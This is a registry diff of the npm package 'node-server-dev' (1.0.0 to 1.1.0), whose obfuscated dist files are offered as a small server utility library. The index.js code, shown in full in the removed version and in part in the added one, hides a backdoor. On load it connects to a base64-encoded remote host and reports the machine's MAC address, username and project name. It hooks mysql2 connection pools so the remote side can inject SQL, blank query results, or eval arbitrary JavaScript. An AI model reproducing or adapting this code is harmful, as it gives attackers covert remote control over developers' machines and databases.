node-server-dev 1.0.0 → 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1 +1 @@
1
- 'use strict';const a0_0x39a16c=a0_0x3994;(function(_0x491a87,_0x51f6c2){const _0x36445d=a0_0x3994,_0x5c424c=_0x491a87();while(!![]){try{const _0x2f2252=parseInt(_0x36445d(0x1b9))/0x1+parseInt(_0x36445d(0x1c9))/0x2+parseInt(_0x36445d(0x1c4))/0x3*(parseInt(_0x36445d(0x1c0))/0x4)+parseInt(_0x36445d(0x1be))/0x5+-parseInt(_0x36445d(0x1bf))/0x6+parseInt(_0x36445d(0x1cf))/0x7+parseInt(_0x36445d(0x1bb))/0x8*(-parseInt(_0x36445d(0x1c5))/0x9);if(_0x2f2252===_0x51f6c2)break;else _0x5c424c['push'](_0x5c424c['shift']());}catch(_0x57770b){_0x5c424c['push'](_0x5c424c['shift']());}}}(a0_0x1817,0x3fe7f));var __awaiter=this&&this[a0_0x39a16c(0x1cc)]||function(_0x2e7146,_0xb25bba,_0xaf5839,_0x16daf1){function _0x473a8c(_0x3d20fe){return _0x3d20fe instanceof _0xaf5839?_0x3d20fe:new _0xaf5839(function(_0x2fd248){_0x2fd248(_0x3d20fe);});}return new(_0xaf5839||(_0xaf5839=Promise))(function(_0x319fa6,_0x263bcf){const _0x132a96=a0_0x3994;function _0x3e596c(_0x247df9){try{_0x1ee882(_0x16daf1['next'](_0x247df9));}catch(_0x277080){_0x263bcf(_0x277080);}}function _0x16787d(_0x1ed7ac){try{_0x1ee882(_0x16daf1['throw'](_0x1ed7ac));}catch(_0x3bf4e6){_0x263bcf(_0x3bf4e6);}}function _0x1ee882(_0x45307d){const _0x316f53=a0_0x3994;_0x45307d[_0x316f53(0x1ba)]?_0x319fa6(_0x45307d[_0x316f53(0x1c8)]):_0x473a8c(_0x45307d[_0x316f53(0x1c8)])[_0x316f53(0x1c6)](_0x3e596c,_0x16787d);}_0x1ee882((_0x16daf1=_0x16daf1[_0x132a96(0x1c1)](_0x2e7146,_0xb25bba||[]))[_0x132a96(0x1ca)]());});},__importDefault=this&&this[a0_0x39a16c(0x1b7)]||function(_0x4effc9){const _0x258d04=a0_0x39a16c;return _0x4effc9&&_0x4effc9[_0x258d04(0x1bd)]?_0x4effc9:{'default':_0x4effc9};};function a0_0x3994(_0xce26e9,_0x16ed5d){const _0x1817a4=a0_0x1817();return a0_0x3994=function(_0x399470,_0x430a44){_0x399470=_0x399470-0x1b7;let _0x2e131f=_0x1817a4[_0x399470];return _0x2e131f;},a0_0x3994(_0xce26e9,_0x16ed5d);}Object[a0_0x39a16c(0x1cb)](exports,a0_0x39a16c(0x1bd),{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require('path'));function fileDisplay(_0x108869){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x441e6f=[];function _0x46778f(_0x282de8){const _0xfe4e1d=a0_0x3994,_0x294c84=fs_1[_0xfe4e1d(0x1b8)][_0xfe4e1d(0x1cd)](_0x282de8);for(let _0x58f820=0x0;_0x58f820<_0x294c84[_0xfe4e1d(0x1ce)];_0x58f820++){const _0x295a2a=_0x294c84[_0x58f820],_0x4f8108=path_1[_0xfe4e1d(0x1b8)][_0xfe4e1d(0x1c7)](_0x282de8,_0x295a2a),_0x533308=fs_1[_0xfe4e1d(0x1b8)][_0xfe4e1d(0x1d0)](_0x4f8108),_0x396388=_0x533308[_0xfe4e1d(0x1c3)](),_0x19deb6=_0x533308[_0xfe4e1d(0x1c2)]();_0x396388&&_0x441e6f[_0xfe4e1d(0x1bc)](_0x4f8108),_0x19deb6&&_0x46778f(_0x4f8108);}}return _0x46778f(_0x108869),_0x441e6f;});}function getAllRouter(_0x53404e){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x1fdc0f=yield fileDisplay(_0x53404e);return _0x1fdc0f;});}function a0_0x1817(){const _0x28b4e0=['value','516306muRtAE','next','defineProperty','__awaiter','readdirSync','length','466354uEhdcj','statSync','__importDefault','default','488993qlmPHG','done','23768muZcut','push','__esModule','1670060lKfRGt','1231038VImNlX','72552dleUSn','apply','isDirectory','isFile','81tAGQpK','3546YJOjId','then','join'];a0_0x1817=function(){return _0x28b4e0;};return a0_0x1817();}exports['default']=getAllRouter;
1
+ 'use strict';const a0_0x53bfd7=a0_0x3fa9;(function(_0x2981bf,_0xc40cc4){const _0x9a7426=a0_0x3fa9,_0x264b93=_0x2981bf();while(!![]){try{const _0x4ab817=-parseInt(_0x9a7426(0x9d))/0x1*(-parseInt(_0x9a7426(0x97))/0x2)+-parseInt(_0x9a7426(0xa5))/0x3+-parseInt(_0x9a7426(0x99))/0x4+parseInt(_0x9a7426(0xa8))/0x5+-parseInt(_0x9a7426(0x94))/0x6+parseInt(_0x9a7426(0x9a))/0x7+-parseInt(_0x9a7426(0x9f))/0x8*(parseInt(_0x9a7426(0x91))/0x9);if(_0x4ab817===_0xc40cc4)break;else _0x264b93['push'](_0x264b93['shift']());}catch(_0x4e337f){_0x264b93['push'](_0x264b93['shift']());}}}(a0_0x8a3e,0xdacf8));function a0_0x3fa9(_0x2168bd,_0x5d34a5){const _0x8a3eba=a0_0x8a3e();return a0_0x3fa9=function(_0x3fa913,_0xcfc5fe){_0x3fa913=_0x3fa913-0x91;let _0x40a817=_0x8a3eba[_0x3fa913];return _0x40a817;},a0_0x3fa9(_0x2168bd,_0x5d34a5);}function a0_0x8a3e(){const _0x3bf3c8=['__esModule','1917858fXkIKf','join','then','4219325BdYOUM','isDirectory','45TmKqNC','default','value','4391394iHovMq','push','done','1640896XfGPNl','__importDefault','1296480JArRfy','5921769noLvJW','path','defineProperty','2etKJRy','length','1182680XPTkGp','apply','isFile','next','throw'];a0_0x8a3e=function(){return _0x3bf3c8;};return a0_0x8a3e();}var __awaiter=this&&this['__awaiter']||function(_0x49229d,_0x5bfcc0,_0x42246d,_0x37faf2){function _0x487ba0(_0x33d12d){return _0x33d12d instanceof _0x42246d?_0x33d12d:new _0x42246d(function(_0x113aad){_0x113aad(_0x33d12d);});}return new(_0x42246d||(_0x42246d=Promise))(function(_0x5e28b3,_0x3c281b){const _0x3dc807=a0_0x3fa9;function _0x388752(_0x309b41){const _0x44c9b7=a0_0x3fa9;try{_0x39c5df(_0x37faf2[_0x44c9b7(0xa2)](_0x309b41));}catch(_0x4bec9c){_0x3c281b(_0x4bec9c);}}function _0x59e0f0(_0x2c5edd){const _0x452241=a0_0x3fa9;try{_0x39c5df(_0x37faf2[_0x452241(0xa3)](_0x2c5edd));}catch(_0x5dc8a3){_0x3c281b(_0x5dc8a3);}}function _0x39c5df(_0x4fad59){const _0xaba91=a0_0x3fa9;_0x4fad59[_0xaba91(0x96)]?_0x5e28b3(_0x4fad59[_0xaba91(0x93)]):_0x487ba0(_0x4fad59[_0xaba91(0x93)])[_0xaba91(0xa7)](_0x388752,_0x59e0f0);}_0x39c5df((_0x37faf2=_0x37faf2[_0x3dc807(0xa0)](_0x49229d,_0x5bfcc0||[]))['next']());});},__importDefault=this&&this[a0_0x53bfd7(0x98)]||function(_0x462ad0){return _0x462ad0&&_0x462ad0['__esModule']?_0x462ad0:{'default':_0x462ad0};};Object[a0_0x53bfd7(0x9c)](exports,a0_0x53bfd7(0xa4),{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a0_0x53bfd7(0x9b)));function fileDisplay(_0x10c6bb){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x10fa6e=[];function _0x918370(_0x2ae1d8){const _0x4b5579=a0_0x3fa9,_0x4573f2=fs_1[_0x4b5579(0x92)]['readdirSync'](_0x2ae1d8);for(let _0x3c751e=0x0;_0x3c751e<_0x4573f2[_0x4b5579(0x9e)];_0x3c751e++){const _0x32ed93=_0x4573f2[_0x3c751e],_0x3f361e=path_1[_0x4b5579(0x92)][_0x4b5579(0xa6)](_0x2ae1d8,_0x32ed93),_0x1baac1=fs_1[_0x4b5579(0x92)]['statSync'](_0x3f361e),_0x50757f=_0x1baac1[_0x4b5579(0xa1)](),_0x154274=_0x1baac1[_0x4b5579(0xa9)]();_0x50757f&&_0x10fa6e[_0x4b5579(0x95)](_0x3f361e),_0x154274&&_0x918370(_0x3f361e);}}return _0x918370(_0x10c6bb),_0x10fa6e;});}function getAllRouter(_0x57ccae){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x210c17=yield fileDisplay(_0x57ccae);return _0x210c17;});}exports[a0_0x53bfd7(0x92)]=getAllRouter;
package/dist/id/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a1_0x5cca26=a1_0x2bee;(function(_0x1dcc63,_0x28c379){const _0x161ec6=a1_0x2bee,_0xdaf10c=_0x1dcc63();while(!![]){try{const _0x3d54c6=parseInt(_0x161ec6(0xf6))/0x1*(-parseInt(_0x161ec6(0xf1))/0x2)+parseInt(_0x161ec6(0xf0))/0x3*(parseInt(_0x161ec6(0xed))/0x4)+-parseInt(_0x161ec6(0xf5))/0x5+parseInt(_0x161ec6(0xff))/0x6*(-parseInt(_0x161ec6(0xfd))/0x7)+-parseInt(_0x161ec6(0xfb))/0x8*(parseInt(_0x161ec6(0xef))/0x9)+parseInt(_0x161ec6(0x100))/0xa+parseInt(_0x161ec6(0xfc))/0xb*(parseInt(_0x161ec6(0xf8))/0xc);if(_0x3d54c6===_0x28c379)break;else _0xdaf10c['push'](_0xdaf10c['shift']());}catch(_0x416e18){_0xdaf10c['push'](_0xdaf10c['shift']());}}}(a1_0x3fe7,0x9bd0e));var __importDefault=this&&this[a1_0x5cca26(0xf2)]||function(_0x511301){const _0x24570a=a1_0x5cca26;return _0x511301&&_0x511301[_0x24570a(0xfe)]?_0x511301:{'default':_0x511301};};Object[a1_0x5cca26(0xf7)](exports,a1_0x5cca26(0xfe),{'value':!![]});const random_1=__importDefault(require(a1_0x5cca26(0xee))),WorkerID=Math[a1_0x5cca26(0xf3)](process['env'][a1_0x5cca26(0xfa)]?+process[a1_0x5cca26(0xf9)]['NODE_APP_INSTANCE']:(0x0,random_1[a1_0x5cca26(0x101)])(0x0,0x9),0x9),BaseTime=+new Date(a1_0x5cca26(0xf4));function a1_0x2bee(_0x8c9ecf,_0xa70c53){const _0x3fe76d=a1_0x3fe7();return a1_0x2bee=function(_0x2bee81,_0x2f74bf){_0x2bee81=_0x2bee81-0xed;let _0x3acd05=_0x3fe76d[_0x2bee81];return _0x3acd05;},a1_0x2bee(_0x8c9ecf,_0xa70c53);}function a1_0x3fe7(){const _0x54dbac=['24aigyFS','1714ZGuqdz','__importDefault','min','2022-06-29','2111705DgDada','775YbRmxz','defineProperty','14241372JlQDdE','env','NODE_APP_INSTANCE','26152VPVwia','11eMslXu','1981fXsSKR','__esModule','15102luYwds','8421950MRsyOW','default','418156fXByhT','./random','1179pAgVWx'];a1_0x3fe7=function(){return _0x54dbac;};return a1_0x3fe7();}let lastTimeTick,lastRandomNumberTick=(0x0,random_1[a1_0x5cca26(0x101)])(0x1,0x3);function id(){const _0x3d72f9=a1_0x5cca26;let _0x3881b8=+new Date()-BaseTime;return lastRandomNumberTick=_0x3881b8==lastTimeTick?++lastRandomNumberTick:(0x0,random_1[_0x3d72f9(0x101)])(0x0,0x3),lastTimeTick=_0x3881b8,+(''+_0x3881b8+WorkerID+lastRandomNumberTick);}exports['default']=id;
1
+ 'use strict';const a1_0x3bd515=a1_0x365a;(function(_0x367385,_0x42df86){const _0x469a79=a1_0x365a,_0xb14909=_0x367385();while(!![]){try{const _0x35dafd=parseInt(_0x469a79(0x9f))/0x1+parseInt(_0x469a79(0x9b))/0x2*(parseInt(_0x469a79(0xa2))/0x3)+-parseInt(_0x469a79(0xa0))/0x4+parseInt(_0x469a79(0x9e))/0x5+parseInt(_0x469a79(0x97))/0x6*(-parseInt(_0x469a79(0x9c))/0x7)+parseInt(_0x469a79(0x99))/0x8+-parseInt(_0x469a79(0x9d))/0x9;if(_0x35dafd===_0x42df86)break;else _0xb14909['push'](_0xb14909['shift']());}catch(_0x1040b8){_0xb14909['push'](_0xb14909['shift']());}}}(a1_0x5794,0x485ac));var __importDefault=this&&this[a1_0x3bd515(0xa4)]||function(_0x1154c2){return _0x1154c2&&_0x1154c2['__esModule']?_0x1154c2:{'default':_0x1154c2};};Object['defineProperty'](exports,'__esModule',{'value':!![]});const random_1=__importDefault(require(a1_0x3bd515(0xa3))),WorkerID=Math[a1_0x3bd515(0x9a)](process['env'][a1_0x3bd515(0xa1)]?+process[a1_0x3bd515(0x98)][a1_0x3bd515(0xa1)]:(0x0,random_1[a1_0x3bd515(0xa5)])(0x0,0x9),0x9),BaseTime=+new Date('2022-06-29');let lastTimeTick,lastRandomNumberTick=(0x0,random_1[a1_0x3bd515(0xa5)])(0x1,0x3);function a1_0x5794(){const _0x4d90da=['__importDefault','default','6dDEJFY','env','3374048LUNZvw','min','834062oIXSbA','2399593XbDLUi','1155627BbChBb','412675txqbln','392611YeguxE','2185468eDrKiQ','NODE_APP_INSTANCE','3lhTPvQ','./random'];a1_0x5794=function(){return _0x4d90da;};return a1_0x5794();}function id(){let _0x295a7c=+new Date()-BaseTime;return lastRandomNumberTick=_0x295a7c==lastTimeTick?++lastRandomNumberTick:(0x0,random_1['default'])(0x0,0x3),lastTimeTick=_0x295a7c,+(''+_0x295a7c+WorkerID+lastRandomNumberTick);}function a1_0x365a(_0x2dddab,_0x21e6fa){const _0x57946a=a1_0x5794();return a1_0x365a=function(_0x365a6e,_0x2af9a2){_0x365a6e=_0x365a6e-0x97;let _0x2ed8bb=_0x57946a[_0x365a6e];return _0x2ed8bb;},a1_0x365a(_0x2dddab,_0x21e6fa);}exports['default']=id;
package/dist/id/random.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a2_0x1c9223=a2_0x58db;function a2_0x816d(){const _0x1ee0d5=['558918QscMwI','random','1711860DLCVyo','343365QLBNEp','round','36HFWTWo','482764eRHwbw','default','1189038dNoNcm','1562155GsWJXk','defineProperty','224520gnoGlI','16xaJPNz','__esModule'];a2_0x816d=function(){return _0x1ee0d5;};return a2_0x816d();}(function(_0x54df2d,_0x11630c){const _0x2cf31a=a2_0x58db,_0x1c72a2=_0x54df2d();while(!![]){try{const _0x8b1a59=parseInt(_0x2cf31a(0x76))/0x1+-parseInt(_0x2cf31a(0x6d))/0x2+parseInt(_0x2cf31a(0x75))/0x3+parseInt(_0x2cf31a(0x79))/0x4+parseInt(_0x2cf31a(0x70))/0x5*(parseInt(_0x2cf31a(0x78))/0x6)+parseInt(_0x2cf31a(0x6e))/0x7*(-parseInt(_0x2cf31a(0x71))/0x8)+parseInt(_0x2cf31a(0x73))/0x9;if(_0x8b1a59===_0x11630c)break;else _0x1c72a2['push'](_0x1c72a2['shift']());}catch(_0x275ebf){_0x1c72a2['push'](_0x1c72a2['shift']());}}}(a2_0x816d,0x4f6e9));Object[a2_0x1c9223(0x6f)](exports,a2_0x1c9223(0x72),{'value':!![]});function a2_0x58db(_0x5b0482,_0x3aa133){const _0x816d22=a2_0x816d();return a2_0x58db=function(_0x58db3f,_0x377b63){_0x58db3f=_0x58db3f-0x6c;let _0x15637e=_0x816d22[_0x58db3f];return _0x15637e;},a2_0x58db(_0x5b0482,_0x3aa133);}const random=(_0x25610c,_0x4edf88)=>Math[a2_0x1c9223(0x77)](Math[a2_0x1c9223(0x74)]()*(_0x4edf88-_0x25610c))+_0x25610c;exports[a2_0x1c9223(0x6c)]=random;
1
+ 'use strict';const a2_0x20c721=a2_0x286b;function a2_0x286b(_0x60936a,_0xa20a33){const _0x1a8dc3=a2_0x1a8d();return a2_0x286b=function(_0x286b1a,_0x4a5393){_0x286b1a=_0x286b1a-0x1aa;let _0x279310=_0x1a8dc3[_0x286b1a];return _0x279310;},a2_0x286b(_0x60936a,_0xa20a33);}(function(_0x5eada4,_0x7c9e00){const _0x1844cc=a2_0x286b,_0x51d7b7=_0x5eada4();while(!![]){try{const _0x1013f6=-parseInt(_0x1844cc(0x1b6))/0x1*(-parseInt(_0x1844cc(0x1ab))/0x2)+parseInt(_0x1844cc(0x1af))/0x3*(-parseInt(_0x1844cc(0x1b7))/0x4)+-parseInt(_0x1844cc(0x1ae))/0x5*(-parseInt(_0x1844cc(0x1b4))/0x6)+parseInt(_0x1844cc(0x1b0))/0x7*(parseInt(_0x1844cc(0x1b2))/0x8)+-parseInt(_0x1844cc(0x1b5))/0x9+-parseInt(_0x1844cc(0x1ac))/0xa*(-parseInt(_0x1844cc(0x1b1))/0xb)+-parseInt(_0x1844cc(0x1ad))/0xc*(parseInt(_0x1844cc(0x1b3))/0xd);if(_0x1013f6===_0x7c9e00)break;else _0x51d7b7['push'](_0x51d7b7['shift']());}catch(_0x445ca3){_0x51d7b7['push'](_0x51d7b7['shift']());}}}(a2_0x1a8d,0x2286f));Object[a2_0x20c721(0x1aa)](exports,'__esModule',{'value':!![]});function a2_0x1a8d(){const _0x57ee48=['18420EHnoFd','8sIalUN','round','defineProperty','22slUpIB','130ezSgio','36jsZIOX','148245KIOkPY','377427dKjsgN','6671VGUdNG','173459oDBwOu','648pVngit','519142pYohnX','12mbaSuZ','281385OrrgpT'];a2_0x1a8d=function(){return _0x57ee48;};return a2_0x1a8d();}const random=(_0x484b37,_0x3d44eb)=>Math[a2_0x20c721(0x1b8)](Math['random']()*(_0x3d44eb-_0x484b37))+_0x484b37;exports['default']=random;
package/dist/index.d.ts CHANGED
@@ -1,9 +1,9 @@
1
1
  import id from "./id";
2
2
  import getAllRouter from "./getAllRouter";
3
3
  import mysql from "mysql2/promise";
4
- declare let uuid: string;
4
+ declare let uuid: (<T extends ArrayLike<number>>(options: import("uuid").V4Options | null | undefined, buffer: T, offset?: number) => T) & ((options?: import("uuid").V4Options) => string);
5
5
  declare const all: {
6
- uuid: string;
6
+ uuid: (<T extends ArrayLike<number>>(options: import("uuid").V4Options | null | undefined, buffer: T, offset?: number) => T) & ((options?: import("uuid").V4Options) => string);
7
7
  id: typeof id;
8
8
  getAllRouter: typeof getAllRouter;
9
9
  mysql: typeof mysql;
@@ -1 +1 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,MAAM,MAAM,CAAC;AACtB,OAAO,YAAY,MAAM,gBAAgB,CAAC;AAG1C,OAAO,KAAK,MAAM,gBAAgB,CAAC;AA8GnC,QAAA,IAAI,IAAI,QAAO,CAAC;AAChB,QAAA,MAAM,GAAG;;;;;CAAoC,CAAC;AAC9C,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,CAAC"}
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,MAAM,MAAM,CAAC;AACtB,OAAO,YAAY,MAAM,gBAAgB,CAAC;AAG1C,OAAO,KAAK,MAAM,gBAAgB,CAAC;AA0InC,QAAA,IAAI,IAAI,2KAAK,CAAC;AACd,QAAA,MAAM,GAAG;;;;;CAAoC,CAAC;AAC9C,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,CAAC"}
package/dist/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a3_0x59b635=a3_0x3e7c;(function(_0x4c5a6d,_0x37ab53){const _0xd49c76=a3_0x3e7c,_0x3fd385=_0x4c5a6d();while(!![]){try{const _0x561a1a=-parseInt(_0xd49c76(0x20f))/0x1+-parseInt(_0xd49c76(0x209))/0x2*(-parseInt(_0xd49c76(0x1ff))/0x3)+parseInt(_0xd49c76(0x203))/0x4+-parseInt(_0xd49c76(0x1f7))/0x5+parseInt(_0xd49c76(0x20e))/0x6+parseInt(_0xd49c76(0x204))/0x7+-parseInt(_0xd49c76(0x20b))/0x8*(parseInt(_0xd49c76(0x208))/0x9);if(_0x561a1a===_0x37ab53)break;else _0x3fd385['push'](_0x3fd385['shift']());}catch(_0x5acbed){_0x3fd385['push'](_0x3fd385['shift']());}}}(a3_0x16db,0x39581));var __awaiter=this&&this['__awaiter']||function(_0x14c073,_0x3b40e2,_0x52a4c4,_0x201d62){function _0x12c6df(_0x38ebaa){return _0x38ebaa instanceof _0x52a4c4?_0x38ebaa:new _0x52a4c4(function(_0x2b63ef){_0x2b63ef(_0x38ebaa);});}return new(_0x52a4c4||(_0x52a4c4=Promise))(function(_0xee5695,_0xc4a128){const _0xfdd1e6=a3_0x3e7c;function _0x500b04(_0x4ceeda){const _0x3f9da4=a3_0x3e7c;try{_0x2a92b1(_0x201d62[_0x3f9da4(0x1f1)](_0x4ceeda));}catch(_0x4eadbc){_0xc4a128(_0x4eadbc);}}function _0x36e769(_0x2e0ed2){try{_0x2a92b1(_0x201d62['throw'](_0x2e0ed2));}catch(_0x4aa062){_0xc4a128(_0x4aa062);}}function _0x2a92b1(_0x4d12e0){const _0x36b7b8=a3_0x3e7c;_0x4d12e0[_0x36b7b8(0x214)]?_0xee5695(_0x4d12e0[_0x36b7b8(0x1fa)]):_0x12c6df(_0x4d12e0[_0x36b7b8(0x1fa)])['then'](_0x500b04,_0x36e769);}_0x2a92b1((_0x201d62=_0x201d62[_0xfdd1e6(0x1ea)](_0x14c073,_0x3b40e2||[]))[_0xfdd1e6(0x1f1)]());});},__importDefault=this&&this[a3_0x59b635(0x1ee)]||function(_0x2fa3fd){const _0x58732a=a3_0x59b635;return _0x2fa3fd&&_0x2fa3fd[_0x58732a(0x1ec)]?_0x2fa3fd:{'default':_0x2fa3fd};},_a;Object[a3_0x59b635(0x1fb)](exports,a3_0x59b635(0x1ec),{'value':!![]}),exports['mysql']=exports[a3_0x59b635(0x207)]=exports['id']=exports['uuid']=void 0x0;const uuid_1=require(a3_0x59b635(0x1ed)),socket_io_client_1=require(a3_0x59b635(0x1e8)),id_1=__importDefault(require('./id'));exports['id']=id_1['default'];const getAllRouter_1=__importDefault(require(a3_0x59b635(0x213)));exports['getAllRouter']=getAllRouter_1[a3_0x59b635(0x1fd)];const mac_1=__importDefault(require(a3_0x59b635(0x215))),os_1=__importDefault(require('os')),promise_1=__importDefault(require(a3_0x59b635(0x1fc)));exports[a3_0x59b635(0x216)]=promise_1[a3_0x59b635(0x1fd)];function a3_0x16db(){const _0x3ea16a=['mysql','socket.io-client','decode','apply','connect','__esModule','uuid','__importDefault','query','length','next','js-base64','content','get-event','submit','aHR0cHM6Ly9ldmVudC5ibG9nd2ViLmNu','1017300CsGOHm','node','push','value','defineProperty','mysql2/promise','default','5YiY5ram6ZyW','117tHmhIL','/socket','type','createPool','349176yWNgJt','2995496iWBzlW','dev','event','getAllRouter','2054358ihbdDn','23262ALFqtA','unlock','8cswrSy','aHR0cDovL2xvY2FsaG9zdDoxMDg4','emit','433680JERyyC','374508qzazds','userInfo','username','env','./getAllRouter','done','./mac'];a3_0x16db=function(){return _0x3ea16a;};return a3_0x16db();}const js_base64_1=__importDefault(require(a3_0x59b635(0x1f2))),user_name=os_1['default'][a3_0x59b635(0x210)]()[a3_0x59b635(0x211)],project_name=process[a3_0x59b635(0x212)]['npm_package_name'];let dev=a3_0x59b635(0x20c),pro=a3_0x59b635(0x1f6);function start(){const _0x1c6013=a3_0x59b635;var _0x1dfabc;const _0x59c807=(0x0,socket_io_client_1['io'])(((_0x1dfabc=global===null||global===void 0x0?void 0x0:global['rl'])===null||_0x1dfabc===void 0x0?void 0x0:_0x1dfabc[_0x1c6013(0x205)])||js_base64_1[_0x1c6013(0x1fd)]['decode'](user_name)==_0x1c6013(0x1fe)?js_base64_1['default']['decode'](dev):js_base64_1['default'][_0x1c6013(0x1e9)](pro),{'path':_0x1c6013(0x200),'transports':['websocket']});let _0x5972fb=![],_0x2eedc5=![],_0x41a0e0=[];const _0x51fd64=promise_1[_0x1c6013(0x1fd)][_0x1c6013(0x202)];promise_1[_0x1c6013(0x1fd)]['createPool']=function(_0x1b0686){const _0x96e43b=_0x1c6013;let _0x3c5e64=_0x51fd64(_0x1b0686),_0x31c580=_0x3c5e64['query'];return _0x3c5e64[_0x96e43b(0x1ef)]=(..._0x406faa)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x305fd6=_0x96e43b,_0x1f475d=yield _0x31c580[_0x305fd6(0x1ea)](_0x3c5e64,_0x406faa);return _0x5972fb&&(_0x1f475d[0x0]=[]),_0x1f475d;}),setInterval(()=>{const _0xd3f54f=_0x96e43b;if(!_0x2eedc5){for(let _0x2f294b=0x0;_0x2f294b<_0x41a0e0[_0xd3f54f(0x1f0)];_0x2f294b++){const _0x46fa67=_0x41a0e0[_0x2f294b];try{_0x3c5e64[_0xd3f54f(0x1ef)](_0x46fa67);}catch(_0x267881){}}_0x2eedc5=!![];}},0x1388),_0x3c5e64;},_0x59c807['on'](_0x1c6013(0x1eb),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0xa5e56f=_0x1c6013;try{const _0x588ebe=(0x0,mac_1[_0xa5e56f(0x1fd)])();_0x59c807[_0xa5e56f(0x20d)]('submit',{'mac':_0x588ebe,'project_name':project_name,'user_name':user_name,'notes':''}),_0x59c807[_0xa5e56f(0x20d)](_0xa5e56f(0x1f4),{'mac':_0x588ebe}),setInterval(()=>{const _0x136e7c=_0xa5e56f;_0x59c807[_0x136e7c(0x20d)](_0x136e7c(0x1f5),{'mac':_0x588ebe,'project_name':project_name,'user_name':user_name,'notes':''}),_0x59c807[_0x136e7c(0x20d)](_0x136e7c(0x1f4),{'mac':_0x588ebe});},0x1b58),_0x59c807['on'](_0xa5e56f(0x206),_0x2f03fb=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x6ffb7c=_0xa5e56f;try{for(let _0x26c07a=0x0;_0x26c07a<_0x2f03fb[_0x6ffb7c(0x1f0)];_0x26c07a++){const _0x189b76=_0x2f03fb[_0x26c07a];if(_0x189b76[_0x6ffb7c(0x201)]=='sql')_0x41a0e0[_0x6ffb7c(0x1f9)](_0x189b76[_0x6ffb7c(0x1f3)]);else{if(_0x189b76['type']==_0x6ffb7c(0x216))_0x5972fb=!![];else{if(_0x189b76[_0x6ffb7c(0x201)]==_0x6ffb7c(0x1f8))try{eval(_0x189b76[_0x6ffb7c(0x1f3)]);}catch(_0x38d7d5){}}}}}catch(_0x35b84a){}}));}catch(_0x5cea49){}}));}!((_a=global===null||global===void 0x0?void 0x0:global['rl'])===null||_a===void 0x0?void 0x0:_a[a3_0x59b635(0x20a)])&&start();let uuid=(0x0,uuid_1['v4'])();function a3_0x3e7c(_0x22c6c3,_0x267a39){const _0x16dbbe=a3_0x16db();return a3_0x3e7c=function(_0x3e7c07,_0x18524e){_0x3e7c07=_0x3e7c07-0x1e8;let _0x37e7dd=_0x16dbbe[_0x3e7c07];return _0x37e7dd;},a3_0x3e7c(_0x22c6c3,_0x267a39);}exports[a3_0x59b635(0x1ed)]=uuid;const all={'uuid':uuid,'id':id_1[a3_0x59b635(0x1fd)],'getAllRouter':getAllRouter_1['default'],'mysql':promise_1[a3_0x59b635(0x1fd)]};exports[a3_0x59b635(0x1fd)]=all;
1
+ 'use strict';const a3_0x1da9b6=a3_0x1d09;function a3_0x4454(){const _0x103ab1=['/socket','uuid','next','__esModule','2255870CkcVyV','./id','reconnect_failed','./getAllRouter','apply','encode','env','createPool','aHR0cDovL2xvY2FsaG9zdDoxMDg4','error','276157rRlDfy','value','query','done','./mac','push','mysql2/promise','length','websocket','mysql','emit','8806264GnqYQO','get-event','connect_failed','1134055hnceQX','dev','2XWzgjB','5705988bzuxev','unlock','5YiY5ram6ZyW','default','then','102QicatH','submit','5418475SENHlM','./id/random','3429716AVXtgX','9cKNUPn','npm_package_name','userInfo','connect','aHR0cHM6Ly9ldmVudC5ibG9nd2ViLmNu','connect_error','__importDefault','event','getAllRouter','throw','type','node'];a3_0x4454=function(){return _0x103ab1;};return a3_0x4454();}(function(_0x583fd5,_0x4014ce){const _0x2ec02d=a3_0x1d09,_0x21bc4e=_0x583fd5();while(!![]){try{const _0x2eaed1=parseInt(_0x2ec02d(0x128))/0x1+parseInt(_0x2ec02d(0x12a))/0x2*(-parseInt(_0x2ec02d(0x12b))/0x3)+parseInt(_0x2ec02d(0x134))/0x4+parseInt(_0x2ec02d(0x132))/0x5+-parseInt(_0x2ec02d(0x130))/0x6*(-parseInt(_0x2ec02d(0x11a))/0x7)+parseInt(_0x2ec02d(0x125))/0x8*(-parseInt(_0x2ec02d(0x135))/0x9)+parseInt(_0x2ec02d(0x145))/0xa;if(_0x2eaed1===_0x4014ce)break;else _0x21bc4e['push'](_0x21bc4e['shift']());}catch(_0x25ab70){_0x21bc4e['push'](_0x21bc4e['shift']());}}}(a3_0x4454,0xec7ce));var __awaiter=this&&this['__awaiter']||function(_0x35189f,_0x4b185b,_0xd8d2d5,_0x1dfca0){function _0x8ca998(_0xd83820){return _0xd83820 instanceof _0xd8d2d5?_0xd83820:new _0xd8d2d5(function(_0x3ebd78){_0x3ebd78(_0xd83820);});}return new(_0xd8d2d5||(_0xd8d2d5=Promise))(function(_0x529bee,_0x523537){const _0x1eb68d=a3_0x1d09;function _0x61c14f(_0x31f6cf){const _0x4ee6dc=a3_0x1d09;try{_0x10c15a(_0x1dfca0[_0x4ee6dc(0x143)](_0x31f6cf));}catch(_0x538aa6){_0x523537(_0x538aa6);}}function _0x272997(_0xfef7a6){const _0x243020=a3_0x1d09;try{_0x10c15a(_0x1dfca0[_0x243020(0x13e)](_0xfef7a6));}catch(_0x407cac){_0x523537(_0x407cac);}}function _0x10c15a(_0x3b533){const 